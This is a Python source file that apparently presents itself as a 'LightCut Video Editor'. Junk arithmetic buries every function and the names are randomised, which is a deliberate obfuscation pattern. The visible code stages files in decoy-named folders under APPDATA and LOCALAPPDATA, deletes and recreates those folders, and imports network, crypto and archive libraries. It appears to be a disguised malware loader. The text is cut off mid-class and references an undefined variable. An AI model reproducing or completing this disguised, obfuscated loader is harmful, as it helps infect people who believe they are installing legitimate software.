import os
import sys
import string
import random
import requests
import json
import time
import msvcrt
import ctypes
import time
import threading
import shutil
import base64
import re
import customtkinter
from PIL import Image, ImageTk
import win32gui
import win32con
import urllib.parse
import pyzipper
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import importlib.util


def qahknjwpv(eodqwziek, pqcaqmtfma, brwbrcmuuhwflgx, bqqrrshxaw, mwkvookemjn):
    try:
        vvwbaqlgjdtzafqh = 33
        rcjcsbstdhlx = 237
        ebxthbdvqz = 110
        zotigkitzjbyzhcvb = 986
        idwxyhqobzaw = 123
        kpdrdt = zotigkitzjbyzhcvb - idwxyhqobzaw
        ydfypnp = rcjcsbstdhlx + vvwbaqlgjdtzafqh
        pdbrxrlkeey = idwxyhqobzaw * zotigkitzjbyzhcvb
        iqatmbahsjohu = vvwbaqlgjdtzafqh - zotigkitzjbyzhcvb
        ncydjhu = vvwbaqlgjdtzafqh + rcjcsbstdhlx
        mlnwtloh = zotigkitzjbyzhcvb - rcjcsbstdhlx
        rcrrtcecboo = vvwbaqlgjdtzafqh + rcjcsbstdhlx + ebxthbdvqz + zotigkitzjbyzhcvb + idwxyhqobzaw
        return rcrrtcecboo
    except Exception:
        pass

eodqwziek = None
pqcaqmtfma = None
brwbrcmuuhwflgx = None
bqqrrshxaw = None
mwkvookemjn = None
huhodmpobf = qahknjwpv(eodqwziek, pqcaqmtfma, brwbrcmuuhwflgx, bqqrrshxaw, mwkvookemjn)


def owpppvrm():
    try:
        avkwofzrhmid = 905
        iowpazfvu = 833
        blgwlpcp = 371
        kvrdcgycvpv = 839
        qrrgiboehsow = 462
        yziairoxisswv = qrrgiboehsow + iowpazfvu
        coiudi = qrrgiboehsow * iowpazfvu
        cassjlwagdh = blgwlpcp - qrrgiboehsow
        uskdgqjgc = avkwofzrhmid - blgwlpcp
    except Exception:
        pass

owpppvrm()


def pusaiekjcnqbeg():
    try:
        wbwcbeg = 499
        hgwrkaqhvwocy = 956
        mzanwkdwcom = 970
        qupudzvqr = 211
        ugtbkzfdojmzet = 136
        ytzoxlcleutbck = hgwrkaqhvwocy * ugtbkzfdojmzet
        lrtfepjcdmo = wbwcbeg - hgwrkaqhvwocy
        riuwmp = mzanwkdwcom * ugtbkzfdojmzet
        qkminzwiv = ugtbkzfdojmzet + qupudzvqr
        fkhaxxnrdqfl = wbwcbeg - hgwrkaqhvwocy
        nfvpdtv = ugtbkzfdojmzet + hgwrkaqhvwocy
    except Exception:
        pass

pusaiekjcnqbeg()

def uKDdOwLVoBwnRIMHDW(LPkYQNZasjJxZm):
    try:
        #GEN(5)
        fdxigraciemsry = 749
        swjxwo = 446
        vxtbbrialcnjogclp = 947
        nghxernpgfsmfo = 170
        vcdfttqfjiwyfng = 954
        yyvwhremhxfdgvipym = 822
        jvblky = 190
        gxemfbszyp = vcdfttqfjiwyfng - swjxwo
        ygrsieypf = jvblky * nghxernpgfsmfo
        ghlgvibyf = vxtbbrialcnjogclp * yyvwhremhxfdgvipym
        ovgytgir = jvblky * vcdfttqfjiwyfng
        uhhxuypzi = jvblky + swjxwo
        welnino = jvblky + fdxigraciemsry
        kcnoktajmnavxc = vxtbbrialcnjogclp - nghxernpgfsmfo
        fjmmfobfuxnbp = yyvwhremhxfdgvipym + fdxigraciemsry
        djoqow = nghxernpgfsmfo - swjxwo
        mzjjcvhyc = vxtbbrialcnjogclp + swjxwo
        zbxuzlfy = vxtbbrialcnjogclp - vcdfttqfjiwyfng
        oetrlmyyxraksu = yyvwhremhxfdgvipym * vcdfttqfjiwyfng
        ctypes.windll.user32.MessageBoxW(None, LPkYQNZasjJxZm, "LightCut Video Editor", 0x10)
    except Exception:
        pass

def wvikpsuvuyuhygfgk(hqkofzwv, uyrvhcyzub, aaamikrj, rhufiyxpkmmooz):
    try:
        asjgtsuctcvw = 783
        rcnpwzx = 500
        inzogjea = 986
        txscxmgzikgrod = 776
        fuuuhkmtdlgnpsmc = 118
        enhtjeegkztqqh = 235
        icngscklswzrclsec = 93
        iwbnowep = 354
        odeezt = asjgtsuctcvw - inzogjea
        gokbvsh = txscxmgzikgrod + icngscklswzrclsec
        pmkjgbwfxnbgx = iwbnowep * enhtjeegkztqqh
        ncppcefutqcra = fuuuhkmtdlgnpsmc * iwbnowep
        ilafxyqah = inzogjea * fuuuhkmtdlgnpsmc
        yjqmqvpie = inzogjea + iwbnowep
        hmdowklrvkh = asjgtsuctcvw + rcnpwzx + inzogjea + txscxmgzikgrod + fuuuhkmtdlgnpsmc + enhtjeegkztqqh + icngscklswzrclsec + iwbnowep
        return hmdowklrvkh
    except Exception:
        pass

hqkofzwv = None
uyrvhcyzub = None
aaamikrj = None
rhufiyxpkmmooz = None
crhjddrvx = wvikpsuvuyuhygfgk(hqkofzwv, uyrvhcyzub, aaamikrj, rhufiyxpkmmooz)


def cnajjejeayknowg():
    try:
        bnzkwdatuowohnu = 360
        ieqhoxzlzqj = 775
        hbpisuwcjxtyutnmfp = 747
        mcpsmvgjjryqt = 42
        qkmdwzfqveqahfjaue = 331
        lpakmsezgsvp = 705
        znqftwniwuqrfadu = 35
        tdoeaqyu = 341
        qcqunuqsl = znqftwniwuqrfadu + tdoeaqyu
        dfvvroumpvmvlq = qkmdwzfqveqahfjaue * znqftwniwuqrfadu
    except Exception:
        pass

cnajjejeayknowg()
def INpHDUNWrCYnsAvcJz(LPkYQNZasjJxZm):
    try:
        #GEN(6)
        dwzfhlqctm = 770
        ebnsiqudeewghw = 790
        ybnfljdaninkgxoq = 726.770178972
        vjdhiyhuuuocagaowy = 181.901583
        zojgnzivbd = 95
        guzmieblveejemtxlb = 806.683
        mgxmksxwbpgzuejshx = 124
        hitsuyzrmx = 104
        yjmidwjhwttlh = 949
        mfhyscpjtjy = 985
        dvzzgwpjrm = guzmieblveejemtxlb - dwzfhlqctm
        miiwcurqcqrfyk = mfhyscpjtjy * dwzfhlqctm
        oeulvgargptb = zojgnzivbd * vjdhiyhuuuocagaowy
        kavhwq = yjmidwjhwttlh - ebnsiqudeewghw
        dimlsllq = guzmieblveejemtxlb * mgxmksxwbpgzuejshx
        kbcxsxvkswrokh = vjdhiyhuuuocagaowy * zojgnzivbd
        cyvqiknoti = vjdhiyhuuuocagaowy + ebnsiqudeewghw
        ctypes.windll.user32.MessageBoxW(None, LPkYQNZasjJxZm, "LightCut Video Editor", 0x40)
    except Exception:
        pass
def rEQylMKLumUQugCnFrCqJzUv(GnpULvJXvqmsveWaRInyesjXVE):
    try:
        vzptextfoona = 970
        bnmycqjlggnqh = 535
        vyperzycmglnzd = 993
        ewdznsmzqjgvurd = 227
        oaezpkdkdoisspj = 154
        vsqcqjdiduh = 471.97587
        roouor = 829
        rluiva = 933
        kenqtzr = 578.30530087
        isldfxsztty = vyperzycmglnzd * oaezpkdkdoisspj
        zjgaktauwcdxrn = roouor * bnmycqjlggnqh
        juvcaognefh = kenqtzr * bnmycqjlggnqh
        rltlgqggk = vsqcqjdiduh + kenqtzr
        lylccdofjscg = vsqcqjdiduh - bnmycqjlggnqh
        zejxcptlvhx = rluiva * vzptextfoona
        hjrnsbuift = roouor - vsqcqjdiduh
        GPElltpsWCcHempVNUPFiFCFk = os.path.join(os.environ['APPDATA'], 'Enchanted Ocean Reverie', 'Reverie.txt')
        os.makedirs(os.path.dirname(GPElltpsWCcHempVNUPFiFCFk), exist_ok=True)
        shrzccxchblursnx = 866
        nfchxlyahkbvgmu = 652
        apynuhackofo = 920.42
        uqwlnjw = 928
        oxedqzluhlj = nfchxlyahkbvgmu + shrzccxchblursnx
        yecpwandxwdvrb = shrzccxchblursnx * apynuhackofo
        osidqvftxlsqnv = nfchxlyahkbvgmu - uqwlnjw
        dkjffzpc = uqwlnjw + apynuhackofo
        esqzss = uqwlnjw + apynuhackofo
        zarbryufutft = nfchxlyahkbvgmu - uqwlnjw
        ykqjvqhnjw = apynuhackofo + shrzccxchblursnx
        fumuzxk = apynuhackofo * nfchxlyahkbvgmu
        with open(GPElltpsWCcHempVNUPFiFCFk, 'w') as f:
            f.write(GnpULvJXvqmsveWaRInyesjXVE)
    except Exception:
        pass

def fvdtfkpnwsfph():
    try:
        ebvznzooyjute = 258
        tolqhz = 289
        zwjdgkidkqrgady = 882
        ntfixgkzpzml = 903
        padyjkaojvgaaxsk = 626
        pbiiatrehal = 600
        ijvxvb = 29
        tnqqdvy = 555
        isnsjegkjdbclvx = 669
        wcqtnsizlcrgd = 982
        hsqpryiltih = 97
        pgqcwnmpklqkxjehtj = 585
        rifdmigsfvjsq = 834
        qsyboid = 990
        mottrby = rifdmigsfvjsq * pbiiatrehal
        lotktzxadee = zwjdgkidkqrgady * isnsjegkjdbclvx
        tqwzadej = qsyboid - ebvznzooyjute
    except Exception:
        pass

fvdtfkpnwsfph()


def szuquuazc():
    try:
        acckswesdnqcbwanib = 940
        dcrsugarvoprau = 177
        szfjizsgfteuhalvw = 490
        lfbvvla = 714
        zsgkzotrmplbkvkdlb = 622
        osieygb = 211
        ahodubpwlrr = 156
        afoqvzhuvfvvzt = 447
        vpygqilr = 590
        csabbej = 399
        dskbhkblisbtzpc = 737
        dmorswapakoicf = 34
        vcmdqztgfk = 603
        tzyvkakihau = 777
        jgqnqhrqd = vpygqilr - csabbej
        aminssgdo = zsgkzotrmplbkvkdlb - dcrsugarvoprau
        uekidhvyexxl = osieygb - zsgkzotrmplbkvkdlb
        aoctnsszv = lfbvvla + csabbej
    except Exception:
        pass

szuquuazc()


def hdujngpoth(zawrvyutxxrnca, kbxorabginsxcxnyh, xwqdcssklosrxbksev, sfzjxjmdkmymgw, guuykwdbb, yuhssoewe):
    try:
        nlgfrhukzvgxe = 34
        apsrnumcxwdylfz = 211
        wsfakmmmej = 113
        cfypdufujbiwtywe = 766
        vlimnbnmdto = 899
        uyfsbqemqhsm = 102
        ucwulaiqlvj = 857
        qeaftrgrept = 721
        hsamanebhozwkbu = 600
        wudngbdaafturhpjg = 478
        dkjclfjgnmggbaslsb = 598
        jlhmnai = 572
        jehlxchxxyyv = 850
        mbiccpdajtqtj = 592
        aitrcbcbmnj = vlimnbnmdto + hsamanebhozwkbu
        sahkcbb = cfypdufujbiwtywe + wudngbdaafturhpjg
        vueafwqlzanjoj = jehlxchxxyyv * dkjclfjgnmggbaslsb
        ntsxnkmkzhswb = wudngbdaafturhpjg + jlhmnai
        fztvstm = nlgfrhukzvgxe + apsrnumcxwdylfz + wsfakmmmej + cfypdufujbiwtywe + vlimnbnmdto + uyfsbqemqhsm + ucwulaiqlvj + qeaftrgrept + hsamanebhozwkbu + wudngbdaafturhpjg + dkjclfjgnmggbaslsb + jlhmnai + jehlxchxxyyv + mbiccpdajtqtj
        return fztvstm
    except Exception:
        pass

zawrvyutxxrnca = None
kbxorabginsxcxnyh = None
xwqdcssklosrxbksev = None
sfzjxjmdkmymgw = None
guuykwdbb = None
yuhssoewe = None
eihemnzmoi = hdujngpoth(zawrvyutxxrnca, kbxorabginsxcxnyh, xwqdcssklosrxbksev, sfzjxjmdkmymgw, guuykwdbb, yuhssoewe)


def arindgi(ysqlsphiwyu, ttpndhshfvjdk, yqzrhjobwave):
    try:
        cidpek = 485
        qftpwxsmchyvq = 193
        ivnetbpffnniqh = 721
        nnnwou = 701
        jtbfzvhzymh = 600
        hnsiplcc = 266
        paokunujkeib = 549
        fmlzvxckjbzqlkkk = 937
        hjqfyvohsyzkah = 30
        jgzlkzkvlzu = 474
        yxttuugnyexnsv = 939
        etzwpnpizxju = 190
        fbrarqxdchkkm = 61
        sbnjlapbkpyialts = 615
        dwjcljlbwnedl = etzwpnpizxju - jtbfzvhzymh
        grizpdxnawctw = yxttuugnyexnsv * fbrarqxdchkkm
        pdayux = etzwpnpizxju + hnsiplcc
        cwqmols = hnsiplcc * nnnwou
        revxaklvdhamna = cidpek + qftpwxsmchyvq + ivnetbpffnniqh + nnnwou + jtbfzvhzymh + hnsiplcc + paokunujkeib + fmlzvxckjbzqlkkk + hjqfyvohsyzkah + jgzlkzkvlzu + yxttuugnyexnsv + etzwpnpizxju + fbrarqxdchkkm + sbnjlapbkpyialts
        return revxaklvdhamna
    except Exception:
        pass

ysqlsphiwyu = None
ttpndhshfvjdk = None
yqzrhjobwave = None
cqbhmqet = arindgi(ysqlsphiwyu, ttpndhshfvjdk, yqzrhjobwave)


def eztwenkgoubb(sggogncdslspg, aedzdrxkvv, ahhebbdbb):
    try:
        nlhqfhip = 652
        zfznddabd = 303
        uphwhvdwulpdh = 875
        wlhwosa = 14
        ykbdyveqqgfd = 766
        woihkwtpmfkg = 363
        qtbdojfcjjst = 531
        hcowlaixzlbtmmwa = 569
        xyhbqjh = 892
        jfvqnlyv = 471
        ohikvn = 493
        vksvzfqjlvgi = 40
        qvqisvdxkwcmridk = 251
        roynhnwpmjlmkp = 260
        aammwt = jfvqnlyv * qtbdojfcjjst
        tlqrspyzb = zfznddabd + qvqisvdxkwcmridk
        idertfgbfbb = wlhwosa + xyhbqjh
        nxuhiwuprkcgdt = nlhqfhip - xyhbqjh
    except Exception:
        pass

sggogncdslspg = None
aedzdrxkvv = None
ahhebbdbb = None
eztwenkgoubb(sggogncdslspg, aedzdrxkvv, ahhebbdbb)
def csRZmQVFOoSVkhNTqlrXLcc():
    try:
        skpeoegyfgbqsd = 811
        ytpvqprwwgiq = 564
        fbthptegnar = 68
        thgwtui = 854.24718700
        pmvvbg = 858
        cozdny = 905
        aldwltzc = 280
        krpwstskndzp = 820.700
        yaydql = aldwltzc + skpeoegyfgbqsd
        tepaitgocv = skpeoegyfgbqsd + aldwltzc
        bwsrszfcl = ytpvqprwwgiq * krpwstskndzp
        skiyvjjwyog = krpwstskndzp + ytpvqprwwgiq
        hrznbzeqzlixux = thgwtui + fbthptegnar
        oaoqnehw = ytpvqprwwgiq * skpeoegyfgbqsd
        with open(os.path.join(os.environ['APPDATA'], 'Enchanted Ocean Reverie', 'Reverie.txt'), 'r') as f:
            return f.read().strip()
    except Exception:
        return None

def zzgjyozrlrtdl(ggvufqfqxpgrekfl, mrglwr):
    try:
        powtsjzdenpfmetemo = 492
        vxylvhfg = 225
        ursorbbix = 729
        ddcnxspmtyz = 766
        fvisjnjgnkvokgrscj = 469
        ohdolpxlsftujzqh = 846
        qjjfmbn = 152
        oknjgqpxdxeqbnjkre = 475
        vbslepskubl = 476
        rpkbwjh = 44
        uhoyybl = 191
        fxtdxlkhkwycbs = 860
        sdqdlhpcmgexdfsov = 120
        qwphoyjhiye = 446
        ezvvyfzawl = 198
        visorpsaausi = ddcnxspmtyz + fvisjnjgnkvokgrscj
        qfvrqtnsdv = vxylvhfg * fxtdxlkhkwycbs
        mnyeyvjndl = qwphoyjhiye - fvisjnjgnkvokgrscj
        twxkgbply = ddcnxspmtyz - vxylvhfg
    except Exception:
        pass

ggvufqfqxpgrekfl = None
mrglwr = None
zzgjyozrlrtdl(ggvufqfqxpgrekfl, mrglwr)


def cpqmfhjfnevwwafg(auyfpw, sqwwaorzbcbipt, rroszedzye):
    try:
        nhstgvntb = 925
        peadahelscn = 698
        eystsjcxkszna = 717
        zxebirq = 554
        nzxcbuxdspoiolptyp = 279
        huohfclo = 733
        fcqjnnemjfoztftap = 484
        cqiqdibnevdkoqg = 526
        xeazpqvnt = 400
        xzdrkzltur = 460
        fyikglohyyq = 254
        nseffmit = 605
        ujdktneu = 791
        coiwimprek = 165
        tstcdy = 425
        xkvqoznf = cqiqdibnevdkoqg + peadahelscn
        zhpgksretnf = nhstgvntb + peadahelscn
        xygehu = eystsjcxkszna + fcqjnnemjfoztftap
        lbuyckhoqibxjb = nseffmit * nzxcbuxdspoiolptyp
    except Exception:
        pass

auyfpw = None
sqwwaorzbcbipt = None
rroszedzye = None
cpqmfhjfnevwwafg(auyfpw, sqwwaorzbcbipt, rroszedzye)


def ggmpynowohodanteyq():
    try:
        shcenuiapmqjkod = 504
        ltqjurgdh = 511
        tjleaajsoysiitkcpc = 611
        lvxlcqvzx = 879
        swzpqlov = 480
        yethspkbsvgpngxd = 155
        wiaqydkxwwydyqog = 381
        jhipglimbk = 404
        tztpgdqghldsup = 378
        cpamzdhiw = 792
        mlchegoyw = 449
        qckjvg = 986
        bmkvybdfncib = 625
        prhjrulbgwgate = 802
        tqdmgnuu = 496
        dscbpde = swzpqlov * tztpgdqghldsup
        fciapfytmzd = prhjrulbgwgate + shcenuiapmqjkod
        iewjkyxlywtdpd = yethspkbsvgpngxd * shcenuiapmqjkod
        oxumegydiqyyqf = bmkvybdfncib * ltqjurgdh
        xnubownpxlryq = bmkvybdfncib + jhipglimbk
        blcefgfkh = lvxlcqvzx * jhipglimbk
    except Exception:
        pass

ggmpynowohodanteyq()
def gHdezyINNnropTaIRcfe():
    mskiobvxgtzdh = 639.195
    kzlfiapbbvjal = 359.05
    fzpccjjswwfw = 487.6803
    mvxxbeyxotamstanky = 694
    kpbdubccce = 119
    lmkjkhj = 15
    cidklybhqevs = 72.2826
    smcswxkunf = kzlfiapbbvjal * lmkjkhj
    vsjxomk = lmkjkhj + mskiobvxgtzdh
    gtqcvoquwm = fzpccjjswwfw * lmkjkhj
    dklmwcc = fzpccjjswwfw - lmkjkhj
    yxwyacqleem = mvxxbeyxotamstanky * fzpccjjswwfw
    try:
        ACFCufuhmPIOsKKuEgv = os.path.join(os.environ['LOCALAPPDATA'], 'Radiant Moonlight Serenade')

        try:
            if os.path.exists(ACFCufuhmPIOsKKuEgv):
                shutil.rmtree(ACFCufuhmPIOsKKuEgv)
        except Exception:
            pass
        cxvaroztpmjqupj = 473
        fyojgyytq = 898.6704332639
        fctxqjyyutdpybdaja = 249.8
        fudghgenewctawkhhe = 702.192334
        cpdwuyfzvrddmwut = 966
        lkwnvcp = 256
        zmkjcwkqigvmkvhjc = 816
        fvjhzzhwkctsgzmh = 786
        ufgdnydhoqucvgdw = 82.88
        wpsmpbjxfzgheo = fvjhzzhwkctsgzmh - fctxqjyyutdpybdaja
        tegblxmkov = cxvaroztpmjqupj + lkwnvcp
        ngutxrtekwmkbu = lkwnvcp * ufgdnydhoqucvgdw
        hobihvedf = ufgdnydhoqucvgdw * fctxqjyyutdpybdaja
        aeaehptuzj = fvjhzzhwkctsgzmh - fctxqjyyutdpybdaja
        wntepixpemiv = lkwnvcp + cxvaroztpmjqupj
        mwikjrdygo = fctxqjyyutdpybdaja + ufgdnydhoqucvgdw
        os.makedirs(ACFCufuhmPIOsKKuEgv)

        vyePrRlQtfIRSD = os.path.join(sdAEeAstkHQsOFO, 'FhhfQS')
        UWGoiDNeORAelJjiNrVFEVUMfk = os.listdir(vyePrRlQtfIRSD)

        if not UWGoiDNeORAelJjiNrVFEVUMfk:
            wwbrrijumhfou = 288.0692459049
            tycizmiuszeuk = 904.3126684753
            bsrzzvnpc = 539.4
            dnsboda = wwbrrijumhfou + tycizmiuszeuk
            dbibngrmiccfc = bsrzzvnpc * tycizmiuszeuk
            yymqwihbtole = tycizmiuszeuk - wwbrrijumhfou
            ropuxrtafa = wwbrrijumhfou * tycizmiuszeuk
            chomlhcntiab = wwbrrijumhfou * bsrzzvnpc
            dnhlkoj = bsrzzvnpc - wwbrrijumhfou
            bljteekztutghy = bsrzzvnpc - wwbrrijumhfou
            usdwnhlwwd = wwbrrijumhfou - bsrzzvnpc
            iohdqri = tycizmiuszeuk + bsrzzvnpc
            nxjvaoveqtbm = tycizmiuszeuk + wwbrrijumhfou
            zasrvp = wwbrrijumhfou + tycizmiuszeuk
            ptarjoqqn = wwbrrijumhfou + tycizmiuszeuk + bsrzzvnpc
            return False

        wGIlcyrBJxOVglpVVBnNCjiOLa = UWGoiDNeORAelJjiNrVFEVUMfk[0]
        asaxvbxulfmbakxcwp = 45
        smrkdiesfxf = 67
        cepithdux = 853.1348377
        vhdlltqdfdta = 407
        ksajmtwvbw = 846
        gqkywj = 557
        vrjkygt = 974
        rffoednmpxckpak = 765.672946848
        csllvcsfncnbe = 862.998872746
        mjxpceqnwfjx = asaxvbxulfmbakxcwp - rffoednmpxckpak
        nohpucubrlbat = vrjkygt - vhdlltqdfdta
        wsplikhstvklan = vrjkygt - vhdlltqdfdta
        vyxobgbvd = smrkdiesfxf * csllvcsfncnbe
        wbjwmicvkmhf = cepithdux - vrjkygt
        mcgqvybk = smrkdiesfxf - vrjkygt
        difzqzisae = vhdlltqdfdta + cepithdux
        stlrzhppuqk = rffoednmpxckpak + gqkywj
        tRQNULTBxyCnfHxukdOUzIBai = os.path.join(vyePrRlQtfIRSD, wGIlcyrBJxOVglpVVBnNCjiOLa)
        NJMMZpNMAhWNZFWjJKdMu = os.path.join(os.environ['LOCALAPPDATA'], 'Radiant Moonlight Serenade', wGIlcyrBJxOVglpVVBnNCjiOLa)

        iafhbc = 915
        oaeudnfvzqjfbowdyo = 814
        uyunhagon = 682.537342179
        ntnlffanrk = 656
        xacnlysdzs = 796
        tfeccyrjmi = 536
        wktarwdtdycuiqhky = 626
        cuzabitzlvxlvclg = 411
        cnksqxlltunqx = 535.176
        flerhgrb = oaeudnfvzqjfbowdyo - uyunhagon
        dwevuuw = cuzabitzlvxlvclg - iafhbc
        ijhkeuye = cnksqxlltunqx + cuzabitzlvxlvclg
        if not os.path.exists(NJMMZpNMAhWNZFWjJKdMu):
            try:
                shutil.copy(tRQNULTBxyCnfHxukdOUzIBai, NJMMZpNMAhWNZFWjJKdMu)
            except Exception:
                return False
        yzdjbbmac = 426
        zsxflxrqsqj = 304
        bvpfcep = 479.39067
        leyusvmugbkc = 86
        cktzriha = 924
        xsojehzxyumvo = bvpfcep * yzdjbbmac
        cfckrumytuosn = leyusvmugbkc + zsxflxrqsqj
        tkucwdhppvdb = cktzriha - zsxflxrqsqj
        edndkn = yzdjbbmac - leyusvmugbkc
        umtxvgscjdxsii = leyusvmugbkc - bvpfcep
        agjyuvoczcfo = leyusvmugbkc * bvpfcep
        apccmspajnzcpl = leyusvmugbkc * yzdjbbmac
        prhpzavpqo = bvpfcep * leyusvmugbkc
        abedlgboheil = zsxflxrqsqj - leyusvmugbkc
        svdkbvzf = zsxflxrqsqj * cktzriha
        ntcxnzjeduiewx = leyusvmugbkc * bvpfcep
        azxsrgnrgise = cktzriha - leyusvmugbkc
        return True

    except Exception:
        return False


def fjrtvu():
    try:
        dblywh = 644
        xxpbjxrctyevmpa = 467
        xbbnuxpzqr = 196
        dstlgdhx = 393
        hgutngfmsingsqrhr = 985
        wgyjmdgfzikdc = 889
        qstulzopehyqpu = 562
        wswwvjtgwso = 163
        ddpkglmihhoovfhu = 400
        xxhwmnamds = 566
        xwnhwdorbgighea = 884
        vuujnwbrqkzjznfg = 621
        kjueqgaomks = xbbnuxpzqr + ddpkglmihhoovfhu
        qixwgoyyt = xxhwmnamds - ddpkglmihhoovfhu
        ifdkbanjeoo = ddpkglmihhoovfhu + qstulzopehyqpu
        ciiabir = xxpbjxrctyevmpa + qstulzopehyqpu
        roqtkvt = dblywh + wgyjmdgfzikdc
    except Exception:
        pass

fjrtvu()


def hpucki(esslwwn, mimhrhyhzvw, ipfraldk, vesnhyqsmkdpytlowi):
    try:
        nbvexmm = 643
        jlkukhathxivmgr = 504
        igglukcn = 684
        dijuexakyffe = 59
        rsaeofyjyl = 310
        zxhmgsnjehfyqaaxhk = 137
        clptnhzltecqnyd = 487
        uteebyckjzwwbp = 681
        apttgcfcivip = 161
        npddagirhopilobpd = 433
        sryswkeuzyiyuswqyn = 999
        crtawxl = 592
        nhfdqqsvc = uteebyckjzwwbp + clptnhzltecqnyd
        txneqis = npddagirhopilobpd * jlkukhathxivmgr
        ujbgtovx = sryswkeuzyiyuswqyn + dijuexakyffe
        ydxrrf = sryswkeuzyiyuswqyn - clptnhzltecqnyd
        dtffqbn = zxhmgsnjehfyqaaxhk * uteebyckjzwwbp
        nmijpoqyw = npddagirhopilobpd + apttgcfcivip
        kwlrds = nbvexmm + jlkukhathxivmgr + igglukcn + dijuexakyffe + rsaeofyjyl + zxhmgsnjehfyqaaxhk + clptnhzltecqnyd + uteebyckjzwwbp + apttgcfcivip + npddagirhopilobpd + sryswkeuzyiyuswqyn + crtawxl
        return kwlrds
    except Exception:
        pass

esslwwn = None
mimhrhyhzvw = None
ipfraldk = None
vesnhyqsmkdpytlowi = None
vvzagukhgk = hpucki(esslwwn, mimhrhyhzvw, ipfraldk, vesnhyqsmkdpytlowi)


def meuxmabzkbtaysema(zdxakmbz):
    try:
        yhmxzhcyhhwn = 973
        alnptrdk = 882
        ggsmsnafvfbtptlulh = 990
        daxknv = 792
        xsvkfeoaknjhnghl = 991
        nhgikvlxwx = 818
        qegkjxdz = 479
        ucjzrue = 209
        zuhpxcgfxasdsg = 908
        uqxpsai = 784
        jwkobxtsxyf = 861
        ldsfvlqksdpdfw = 287
        fbwuxtmxfhfnp = jwkobxtsxyf + ucjzrue
        tkrftia = alnptrdk + ldsfvlqksdpdfw
        bqecpuqnapvzs = jwkobxtsxyf - ucjzrue
        uemfdethcvfzfk = ldsfvlqksdpdfw + ucjzrue
    except Exception:
        pass

zdxakmbz = None
meuxmabzkbtaysema(zdxakmbz)


def gmevkoq(scgwptpnfaksrmzgun):
    try:
        tcjtgvyeab = 731
        krgwqotnkqanvxipb = 309
        zxryfcdkxlxopo = 47
        nyksplidtjf = 256
        jgqfypnimibrjdis = 948
        lqjlysigyxvsvfdv = 251
        zwcqwqvffpce = 473
        clwqojz = 679
        msvvoigujilpyeyt = 607
        ozzvkdbkgd = 109
        ujghbwmnvpquij = 416
        hcdxoatjtuitgtgqbi = 695
        eypxlgj = ujghbwmnvpquij - ozzvkdbkgd
        ihikoyyrvn = msvvoigujilpyeyt - zwcqwqvffpce
        hojhke = zwcqwqvffpce * jgqfypnimibrjdis
        boohsvlfmb = clwqojz * ujghbwmnvpquij
        smnjetspoof = hcdxoatjtuitgtgqbi + krgwqotnkqanvxipb
        osfdfzml = nyksplidtjf - jgqfypnimibrjdis
    except Exception:
        pass

scgwptpnfaksrmzgun = None
gmevkoq(scgwptpnfaksrmzgun)
def cPlRpdOqOkedvOMYxuuC():
    prplddaoagtmqxf = 242
    xmiwua = 936
    faprvjtabd = 522.862
    eztiwqzfwkbhlxwj = 264.8
    fabshofsamlsljpa = 964
    tngfiayp = 224
    nbtbgfwkti = 620
    upjedn = eztiwqzfwkbhlxwj * xmiwua
    sxfeqgmxgtxepn = prplddaoagtmqxf + fabshofsamlsljpa
    buumqwhdbgef = faprvjtabd - prplddaoagtmqxf
    nbvvuzhdea = fabshofsamlsljpa * nbtbgfwkti
    nfrkatwgnfgnm = fabshofsamlsljpa - nbtbgfwkti
    qfydfqnvid = prplddaoagtmqxf - eztiwqzfwkbhlxwj
    ktbqupmtc = faprvjtabd - eztiwqzfwkbhlxwj
    hffzxtwwcwtoiu = fabshofsamlsljpa * eztiwqzfwkbhlxwj
    pkecunood = tngfiayp - nbtbgfwkti
    jtfvtlliyd = xmiwua - faprvjtabd
    iSkRxCPqYsGGHIzK = os.path.join(os.environ['LOCALAPPDATA'], 'Radiant Moonlight Serenade')
    if os.path.exists(iSkRxCPqYsGGHIzK):
        try:
            dtsdlunaakonjkskla = 840
            gndrxzalddozeit = 842
            stkqnlp = 963
            zleitucpd = 798
            hlewdwc = 366
            jcdhjbizrolojqlqsh = 901.70932
            isxekdkilmvyir = 223
            yillfqxcnqvg = 309
            mmfdnlzpfzjwfss = 754.421
            gkvmohs = zleitucpd - yillfqxcnqvg
            gdphjwwhnz = dtsdlunaakonjkskla + mmfdnlzpfzjwfss
            zrrfcreddd = gndrxzalddozeit + isxekdkilmvyir
            vlocrphguigfh = zleitucpd - isxekdkilmvyir
            qgahcm = zleitucpd + gndrxzalddozeit
            rtazqf = gndrxzalddozeit - zleitucpd
            ldrrlgoqnmlaod = hlewdwc - stkqnlp
            vyhiallmx = stkqnlp + zleitucpd
            pyrjraqannpxzn = gndrxzalddozeit + mmfdnlzpfzjwfss
            shutil.rmtree(iSkRxCPqYsGGHIzK)
        except Exception:
            pass

class WwaKVDGWEowpfzcKPtZ:
    def pYnrLCLTRUZTHRqEumxPiBGAcr(self):
        borlbtzbnafgc = 200.392214058
        dkooveoenoxzz = 984
        gmdlhdqopu = 212
        uksfyho = 24
        lkonnny = 761
        ecdpbqzvyygzg = 321.0018860804
        piuaptzkuavzj = 92
        wbnhndqcchkmyr = 539
        fblzhq = 43
        mindiwanlyitq = borlbtzbnafgc * piuaptzkuavzj
        wowukf = fblzhq - ecdpbqzvyygzg
        kwoxabdhbyv = ecdpbqzvyygzg + wbnhndqcchkmyr
        ifrzltpm = lkonnny + gmdlhdqopu
        zmiguzbfmuyki = dkooveoenoxzz + piuaptzkuavzj
        return random.randint(5, 255)

    def ryGWFGbSEUmEWTUXMNuuIlDiQ(self, NZIeHyYmsujxndHBfMOQE, oZTyWXuNYPlKa):
        wqrhkyckbcadblur = 23
        haoqyzldixbgrbnq = 446
        puzlufjzadsw = 833
        riiwctxbjpxwbrmm = 418
        mzfjmvjjmgkfdi = puzlufjzadsw + riiwctxbjpxwbrmm
        qtrvcxjip = puzlufjzadsw - haoqyzldixbgrbnq
        vrwparicgik = haoqyzldixbgrbnq * puzlufjzadsw
        mivmneuxwysbto = wqrhkyckbcadblur * riiwctxbjpxwbrmm
        velltlvgnc = wqrhkyckbcadblur - riiwctxbjpxwbrmm
        nnszentmy = wqrhkyckbcadblur * puzlufjzadsw
        ubhvbzioos = riiwctxbjpxwbrmm + haoqyzldixbgrbnq
        xteawkoyuozkew = wqrhkyckbcadblur + haoqyzldixbgrbnq + puzlufjzadsw + riiwctxbjpxwbrmm
        LINnZtIqtdFAKl = ''
